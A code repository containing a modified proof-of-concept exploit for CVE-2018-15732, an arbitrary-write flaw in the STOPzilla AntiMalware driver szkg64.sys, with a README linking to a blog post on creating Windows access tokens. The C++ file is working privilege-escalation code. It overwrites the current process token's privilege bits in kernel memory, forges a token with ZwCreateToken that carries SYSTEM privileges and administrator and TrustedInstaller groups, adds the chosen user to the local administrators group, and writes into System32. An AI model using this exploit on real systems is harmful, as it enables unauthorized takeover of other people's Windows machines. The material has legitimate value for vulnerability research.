├── README.md └── StopZillaCreateToken.cpp /README.md: -------------------------------------------------------------------------------- 1 | # CreateTokenExample 2 | https://decoder.cloud/2019/07/04/creating-windows-access-tokens/ 3 | -------------------------------------------------------------------------------- /StopZillaCreateToken.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | Exploit Title - STOPzilla AntiMalware Arbitrary Write Privilege Escalation 4 | Date - 13th September 2018 5 | Discovered by - Parvez Anwar (@parvezghh) 6 | Vendor Homepage - https://www.stopzilla.com/ 7 | Tested Version - 6.5.2.59 8 | Driver Version - 3.0.23.0 - szkg64.sys 9 | Tested on OS - 64bit Windows 7 and Windows 10 (1803) 10 | CVE ID - CVE-2018-15732 11 | Vendor fix url - No response from vendor 12 | Fixed Version - 0day 13 | Fixed driver ver - 0day 14 | Modified version by Decoder: 15 | 16 | - Creates a token for the current user and adds several group memberships and privileges 17 | - does not rely on the SeAssignPrimaryprivilege but uses the current thread in order to add the current user to local admin group 18 | - on Windows versions >= 1809 set the AuthenticatioID to ANONYMOUS_LOGON_LUID, you can still use CreateFile and RegSetKey .... 19 | 20 | */ 21 | 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #pragma comment(lib,"winsta.lib") 32 | #pragma comment(lib,"advapi32.lib") 33 | 34 | #define SystemHandleInformation 16 35 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) 36 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) 37 | extern BOOL DumpToken(HANDLE Token); 38 | //int WinStationSwitchToServicesSession(); 39 | HRESULT GetSid( 40 | LPCWSTR wszAccName, 41 | PSID * ppSid 42 | ) 43 | { 44 | 45 | // Validate the input parameters. 46 | if (wszAccName == NULL || ppSid == NULL) 47 | { 48 | return ERROR_INVALID_PARAMETER; 49 | } 50 | 51 | // Create buffers that may be large enough. 52 | // If a buffer is too small, the count parameter will be set to the size needed. 53 | const DWORD INITIAL_SIZE = 32; 54 | DWORD cbSid = 0; 55 | DWORD dwSidBufferSize = INITIAL_SIZE; 56 | DWORD cchDomainName = 0; 57 | DWORD dwDomainBufferSize = INITIAL_SIZE; 58 | WCHAR * wszDomainName = NULL; 59 | SID_NAME_USE eSidType; 60 | DWORD dwErrorCode = 0; 61 | HRESULT hr = 1; 62 | 63 | // Create buffers for the SID and the domain name. 64 | *ppSid = (PSID) new BYTE[dwSidBufferSize]; 65 | if (*ppSid == NULL) 66 | { 67 | return -1; 68 | } 69 | memset(*ppSid, 0, dwSidBufferSize); 70 | wszDomainName = new WCHAR[dwDomainBufferSize]; 71 | if (wszDomainName == NULL) 72 | { 73 | return -1; 74 | } 75 | memset(wszDomainName, 0, dwDomainBufferSize * sizeof(WCHAR)); 76 | 77 | // Obtain the SID for the account name passed. 78 | for (; ; ) 79 | { 80 | 81 | // Set the count variables to the buffer sizes and retrieve the SID. 82 | cbSid = dwSidBufferSize; 83 | cchDomainName = dwDomainBufferSize; 84 | if (LookupAccountNameW( 85 | NULL, // Computer name. NULL for the local computer 86 | wszAccName, 87 | *ppSid, // Pointer to the SID buffer. Use NULL to get the size needed, 88 | &cbSid, // Size of the SID buffer needed. 89 | wszDomainName, // wszDomainName, 90 | &cchDomainName, 91 | &eSidType 92 | )) 93 | { 94 | if (IsValidSid(*ppSid) == FALSE) 95 | { 96 | wprintf(L"The SID for %s is invalid.\n", wszAccName); 97 | dwErrorCode = ERROR; 98 | } 99 | break; 100 | } 101 | dwErrorCode = GetLastError(); 102 | 103 | // Check if one of the buffers was too small. 104 | if (dwErrorCode == ERROR_INSUFFICIENT_BUFFER) 105 | { 106 | if (cbSid > dwSidBufferSize) 107 | { 108 | 109 | // Reallocate memory for the SID buffer. 110 | wprintf(L"The SID buffer was too small. It will be reallocated.\n"); 111 | FreeSid(*ppSid); 112 | *ppSid = (PSID) new BYTE[cbSid]; 113 | if (*ppSid == NULL) 114 | { 115 | return -1; 116 | } 117 | memset(*ppSid, 0, cbSid); 118 | dwSidBufferSize = cbSid; 119 | } 120 | if (cchDomainName > dwDomainBufferSize) 121 | { 122 | 123 | // Reallocate memory for the domain name buffer. 124 | wprintf(L"The domain name buffer was too small. It will be reallocated.\n"); 125 | delete[] wszDomainName; 126 | wszDomainName = new WCHAR[cchDomainName]; 127 | if (wszDomainName == NULL) 128 | { 129 | return -1; 130 | } 131 | memset(wszDomainName, 0, cchDomainName * sizeof(WCHAR)); 132 | dwDomainBufferSize = cchDomainName; 133 | } 134 | } 135 | else 136 | { 137 | wprintf(L"LookupAccountNameW failed. GetLastError returned: %d\n", dwErrorCode); 138 | hr = HRESULT_FROM_WIN32(dwErrorCode); 139 | break; 140 | } 141 | } 142 | 143 | delete[] wszDomainName; 144 | return hr; 145 | } 146 | void 147 | get_system_privileges(PTOKEN_PRIVILEGES privileges) 148 | { 149 | 150 | LUID luid; 151 | privileges->PrivilegeCount = 4; 152 | LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); 153 | privileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 154 | privileges->Privileges[0].Luid = luid; 155 | LookupPrivilegeValue(NULL, SE_TCB_NAME, &luid); 156 | privileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED; 157 | privileges->Privileges[1].Luid = luid; 158 | LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid); 159 | privileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED; 160 | privileges->Privileges[2].Luid = luid; 161 | LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid); 162 | privileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED; 163 | privileges->Privileges[3].Luid = luid; 164 | 165 | 166 | } 167 | 168 | 169 | void GetUser() 170 | { 171 | TCHAR buffer[64]; 172 | DWORD k = 64; 173 | GetUserName(buffer, &k); 174 | printf("[i] user=%S\n", buffer); 175 | } 176 | typedef unsigned __int64 QWORD; 177 | 178 | 179 | typedef struct _SID_BUILTIN 180 | { 181 | UCHAR Revision; 182 | UCHAR SubAuthorityCount; 183 | SID_IDENTIFIER_AUTHORITY IdentifierAuthority; 184 | ULONG SubAuthority[2]; 185 | } SID_BUILTIN, *PSID_BUILTIN; 186 | 187 | 188 | typedef struct _SID_INTEGRITY 189 | { 190 | UCHAR Revision; 191 | UCHAR SubAuthorityCount; 192 | SID_IDENTIFIER_AUTHORITY IdentifierAuthority; 193 | ULONG SubAuthority[1]; 194 | } SID_INTEGRITY, *PSID_INTEGRITY; 195 | 196 | 197 | typedef NTSYSAPI NTSTATUS(NTAPI *_ZwCreateToken)( 198 | OUT PHANDLE TokenHandle, 199 | IN ACCESS_MASK DesiredAccess, 200 | IN POBJECT_ATTRIBUTES ObjectAttributes, 201 | IN TOKEN_TYPE Type, 202 | IN PLUID AuthenticationId, 203 | IN PLARGE_INTEGER ExpirationTime, 204 | IN PTOKEN_USER User, 205 | IN PTOKEN_GROUPS Groups, 206 | IN PTOKEN_PRIVILEGES Privileges, 207 | IN PTOKEN_OWNER Owner, 208 | IN PTOKEN_PRIMARY_GROUP PrimaryGroup, 209 | IN PTOKEN_DEFAULT_DACL DefaultDacl, 210 | IN PTOKEN_SOURCE Source 211 | ); 212 | 213 | 214 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 215 | { 216 | ULONG ProcessId; 217 | UCHAR ObjectTypeNumber; 218 | UCHAR Flags; 219 | USHORT Handle; 220 | QWORD Object; 221 | ACCESS_MASK GrantedAccess; 222 | } SYSTEM_HANDLE, *PSYSTEM_HANDLE; 223 | 224 | 225 | typedef struct _SYSTEM_HANDLE_INFORMATION 226 | { 227 | ULONG NumberOfHandles; 228 | SYSTEM_HANDLE Handles[1]; 229 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 230 | 231 | 232 | typedef NTSTATUS(WINAPI *_NtQuerySystemInformation)( 233 | ULONG SystemInformationClass, 234 | PVOID SystemInformation, 235 | ULONG SystemInformationLength, 236 | PULONG ReturnLength); 237 | 238 | PTOKEN_PRIVILEGES SetPrivileges() 239 | { 240 | PTOKEN_PRIVILEGES privileges; 241 | LUID luid; 242 | int NumOfPrivileges = 4; 243 | int nBufferSize; 244 | 245 | 246 | nBufferSize = sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES) * NumOfPrivileges; 247 | privileges = (PTOKEN_PRIVILEGES)LocalAlloc(LPTR, nBufferSize); 248 | 249 | privileges->PrivilegeCount = NumOfPrivileges; 250 | 251 | LookupPrivilegeValue(NULL, SE_TCB_NAME, &luid); 252 | privileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 253 | privileges->Privileges[0].Luid = luid; 254 | 255 | LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); 256 | privileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED; 257 | privileges->Privileges[1].Luid = luid; 258 | 259 | LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid); 260 | privileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED; 261 | privileges->Privileges[2].Luid = luid; 262 | 263 | 264 | 265 | LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid); 266 | privileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED; 267 | privileges->Privileges[3].Luid = luid; 268 | 269 | return privileges; 270 | } 271 | 272 | LPVOID GetInfoFromToken(HANDLE hToken, TOKEN_INFORMATION_CLASS type) 273 | { 274 | DWORD dwLengthNeeded; 275 | LPVOID lpData = NULL; 276 | 277 | 278 | if (!GetTokenInformation(hToken, type, NULL, 0, &dwLengthNeeded) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) 279 | { 280 | printf("\n[-] Failed to initialize GetTokenInformation %d", GetLastError()); 281 | return NULL; 282 | } 283 | 284 | lpData = (LPVOID)LocalAlloc(LPTR, dwLengthNeeded); 285 | GetTokenInformation(hToken, type, lpData, dwLengthNeeded, &dwLengthNeeded); 286 | 287 | return lpData; 288 | } 289 | 290 | 291 | 292 | QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID) 293 | { 294 | _NtQuerySystemInformation NtQuerySystemInformation; 295 | PSYSTEM_HANDLE_INFORMATION pSysHandleInfo; 296 | ULONG i; 297 | PSYSTEM_HANDLE pHandle; 298 | QWORD TokenAddress = 0; 299 | DWORD nSize = 4096; 300 | DWORD nReturn; 301 | BOOL tProcess; 302 | HANDLE hToken; 303 | 304 | 305 | if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE) 306 | { 307 | printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError()); 308 | return -1; 309 | } 310 | 311 | NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); 312 | 313 | if (!NtQuerySystemInformation) 314 | { 315 | printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); 316 | return -1; 317 | } 318 | 319 | do 320 | { 321 | nSize += 4096; 322 | pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), 0, nSize); 323 | } while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH); 324 | 325 | printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken); 326 | 327 | for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++) 328 | { 329 | 330 | if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == (int)hToken) 331 | { 332 | TokenAddress = pSysHandleInfo->Handles[i].Object; 333 | } 334 | } 335 | 336 | HeapFree(GetProcessHeap(), 0, pSysHandleInfo); 337 | return TokenAddress; 338 | } 339 | 340 | 341 | 342 | 343 | HANDLE 344 | CreateUserToken(HANDLE base_token, wchar_t *username) 345 | { 346 | LUID luid; 347 | PLUID pluidAuth; 348 | NTSTATUS ntStatus; 349 | LARGE_INTEGER li; 350 | PLARGE_INTEGER pli; 351 | HANDLE elevated_token; 352 | PTOKEN_STATISTICS stats; 353 | PTOKEN_PRIVILEGES privileges; 354 | PTOKEN_OWNER owner; 355 | PTOKEN_PRIMARY_GROUP primary_group; 356 | PTOKEN_DEFAULT_DACL default_dacl; 357 | PTOKEN_GROUPS groups; 358 | SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), SecurityDelegation, SECURITY_STATIC_TRACKING, FALSE }; 359 | OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos }; 360 | SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY; 361 | PSID_AND_ATTRIBUTES pSid; 362 | TOKEN_USER userToken; 363 | TOKEN_SOURCE sourceToken = { {'C', 'r', 'e', 'd', 'P', 'r', 'o', 0}, {0, 0} }; //{ { '!', '!', '!', '!', '!', '!', '!', '!' }, { 0, 0 } }; 364 | 365 | LUID authid = SYSTEM_LUID; 366 | // Win 10/2019 >= 1809 set ANONYMOUS_LOGON_LUID 367 | //LUID authid = ANONYMOUS_LOGON_LUID; 368 | _ZwCreateToken ZwCreateToken; 369 | PSID mysid; 370 | SID_BUILTIN TkSidLocalAdminGroup = { 1, 2, { 0, 0, 0, 0, 0, 5 }, { 32, DOMAIN_ALIAS_RID_ADMINS } }; 371 | SID_INTEGRITY IntegritySIDHigh = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_HIGH_RID }; 372 | SID_INTEGRITY IntegritySIDSystem = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_SYSTEM_RID }; 373 | SID_INTEGRITY IntegritySIDMedium = { 1, 1, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID }; 374 | 375 | ZwCreateToken = (_ZwCreateToken)GetProcAddress(LoadLibraryA("ntdll"), "ZwCreateToken"); 376 | if (ZwCreateToken == NULL) { 377 | printf("[-] Failed to load ZwCreateToken: %d\n", GetLastError()); 378 | return NULL; 379 | } 380 | 381 | 382 | userToken.User.Attributes = 0; 383 | HRESULT hr = GetSid(username, &mysid); 384 | userToken.User.Sid = mysid; 385 | AllocateLocallyUniqueId(&luid); 386 | sourceToken.SourceIdentifier.LowPart = luid.LowPart; 387 | sourceToken.SourceIdentifier.HighPart = luid.HighPart; 388 | stats = (PTOKEN_STATISTICS)GetInfoFromToken(base_token, TokenStatistics); 389 | privileges = (PTOKEN_PRIVILEGES)LocalAlloc(LMEM_FIXED, sizeof(TOKEN_PRIVILEGES) + (sizeof(LUID_AND_ATTRIBUTES) * 4)); 390 | get_system_privileges(privileges); 391 | PSID group1, group2; 392 | // TrustedInstaller SID 393 | BOOL t = ConvertStringSidToSidA("S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464", &group2); 394 | // Local Admin SID 395 | t = ConvertStringSidToSidA("S-1-5-32-544", &group1); 396 | groups = (PTOKEN_GROUPS)GetInfoFromToken(base_token, TokenGroups); 397 | primary_group = (PTOKEN_PRIMARY_GROUP)GetInfoFromToken(base_token, TokenPrimaryGroup); 398 | default_dacl = (PTOKEN_DEFAULT_DACL)GetInfoFromToken(base_token, TokenDefaultDacl); 399 | pSid = groups->Groups; 400 | 401 | for (int i = 0; i < groups->GroupCount; ++i, pSid++) 402 | { 403 | // change IL 404 | //if (pSid->Attributes & SE_GROUP_INTEGRITY) 405 | // memcpy(pSid->Sid, &IntegritySIDMedium, sizeof(IntegritySIDMedium)); 406 | 407 | PISID piSid = (PISID)pSid->Sid; 408 | if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == DOMAIN_ALIAS_RID_USERS) { 409 | pSid->Sid = group1; 410 | pSid->Attributes = SE_GROUP_ENABLED; 411 | } 412 | 413 | 414 | else if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == SECURITY_WORLD_RID) { 415 | pSid->Sid = group2; 416 | pSid->Attributes = SE_GROUP_ENABLED; 417 | } 418 | else { 419 | pSid->Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY; 420 | pSid->Attributes &= ~SE_GROUP_ENABLED; 421 | } 422 | } 423 | 424 | owner = (PTOKEN_OWNER)LocalAlloc(LPTR, sizeof(PSID)); 425 | owner->Owner = mysid; 426 | DWORD Size = 0; 427 | pluidAuth = &authid; 428 | li.LowPart = 0xFFFFFFFF; 429 | li.HighPart = 0xFFFFFFFF; 430 | pli = &li; 431 | printf("\n[i] AuthId= 0x%lx\n", authid.LowPart); 432 | ntStatus = ZwCreateToken(&elevated_token, 433 | TOKEN_ALL_ACCESS, 434 | &oa, 435 | TokenImpersonation, 436 | pluidAuth, 437 | pli, 438 | &userToken, 439 | groups, 440 | privileges, 441 | owner, 442 | primary_group, 443 | default_dacl, 444 | &sourceToken 445 | ); 446 | 447 | 448 | if (ntStatus == STATUS_SUCCESS) 449 | return elevated_token; 450 | else 451 | printf("[-] Failed to create new token: %d %08x\n", GetLastError(), ntStatus); 452 | 453 | if (stats) LocalFree(stats); 454 | if (groups) LocalFree(groups); 455 | if (privileges) LocalFree(privileges); 456 | return NULL; 457 | } 458 | 459 | 460 | 461 | 462 | int wmain(int argc, wchar_t *argv[]) 463 | { 464 | 465 | QWORD TokenAddressTarget; 466 | QWORD SepPrivilegesOffset = 0x40; 467 | QWORD PresentByteOffset; 468 | QWORD EnableByteOffset; 469 | QWORD TokenAddress; 470 | HANDLE hDevice; 471 | char devhandle[MAX_PATH]; 472 | DWORD dwRetBytes = 0; 473 | HANDLE hTokenCurrent; 474 | HANDLE hTokenElevate; 475 | 476 | 477 | printf("-------------------------------------------------------------------------------\n"); 478 | printf(" STOPzilla AntiMalware (szkg64.sys) Arbitrary Write EoP Exploit \n"); 479 | printf(" Tested on 64bit Windows 7 / Windows 10 (1803) \n"); 480 | printf(" Modified version by decoder \n"); 481 | printf("-------------------------------------------------------------------------------\n"); 482 | 483 | TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId()); 484 | printf("\n[i] Address of current process token 0x%p", TokenAddress); 485 | 486 | TokenAddressTarget = TokenAddress + SepPrivilegesOffset; 487 | printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten\n", TokenAddressTarget); 488 | 489 | PresentByteOffset = TokenAddressTarget + 0x0; 490 | printf("[i] Present bits at 0x%p will be overwritten\n", PresentByteOffset); 491 | 492 | EnableByteOffset = TokenAddressTarget + 0x8; 493 | printf("[i] Enabled bits at 0x%p will be overwritten", EnableByteOffset); 494 | 495 | sprintf_s(devhandle, "\\\\.\\%s", "msprocess"); 496 | 497 | hDevice = CreateFileA(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 498 | 499 | if (hDevice == INVALID_HANDLE_VALUE) 500 | { 501 | printf("\n[-] Open %s device failed\n\n", devhandle); 502 | return -1; 503 | } 504 | else 505 | { 506 | printf("\n[+] Open %s device successful", devhandle); 507 | } 508 | 509 | printf("\n[~] Press any key to continue . . .\n"); 510 | getchar(); 511 | 512 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hTokenCurrent)) 513 | { 514 | printf("[-] Failed OpenProcessToken() %d\n\n", GetLastError()); 515 | return NULL; 516 | } 517 | printf("[+] OpenProcessToken() handle opened successfully"); 518 | 519 | do 520 | { 521 | printf("\n[*] Overwriting _SEP_TOKEN_PRIVILEGES bits"); 522 | DeviceIoControl(hDevice, 0x80002063, NULL, 0, (LPVOID)PresentByteOffset, 0, &dwRetBytes, NULL); 523 | DeviceIoControl(hDevice, 0x80002063, NULL, 0, (LPVOID)EnableByteOffset, 0, &dwRetBytes, NULL); 524 | hTokenElevate = CreateUserToken(hTokenCurrent, argv[1]); 525 | Sleep(500); 526 | } while (hTokenElevate == NULL); 527 | HANDLE duped_token; 528 | /* 529 | BOOL res = DuplicateTokenEx(hTokenElevate, 530 | 531 | TOKEN_ALL_ACCESS, 532 | NULL, 533 | SecurityImpersonation, 534 | TokenImpersonation, 535 | &duped_token);*/ 536 | HANDLE hCurrentThread = GetCurrentThread(); 537 | if (SetThreadToken(&hCurrentThread, hTokenElevate) == 0) { 538 | printf("[-] Impersonation failed: %d\n", GetLastError()); 539 | } 540 | else { 541 | printf("[+] SetThreadToken with elevated token: Impersonation successful!\n"); 542 | GetUser(); 543 | LOCALGROUP_INFO_1 localgroup_info; 544 | LOCALGROUP_MEMBERS_INFO_3 localgroup_members; 545 | localgroup_members.lgrmi3_domainandname = argv[1]; 546 | int err = NetLocalGroupAddMembers(L".", 547 | L"administrators", 548 | 3, 549 | (LPBYTE)&localgroup_members, 550 | 1); 551 | printf("[i] Added user: %S to administrator groups result:%d\n", argv[1], err); 552 | DWORD dBytesWritten; 553 | HANDLE hFile = CreateFile(L"C:\\windows\\system32\\test.txt", // name of the write 554 | GENERIC_WRITE, // open for writing 555 | FILE_SHARE_WRITE, // do not share 556 | NULL, // default security 557 | CREATE_ALWAYS, // create new file only 558 | FILE_ATTRIBUTE_NORMAL, // normal file 559 | NULL); 560 | printf("[i] Write file c:\\windows\\system32\\test.txt last error:%d\n", GetLastError()); 561 | 562 | 563 | } 564 | 565 | CloseHandle(hDevice); 566 | 567 | return 0; 568 | } 569 | --------------------------------------------------------------------------------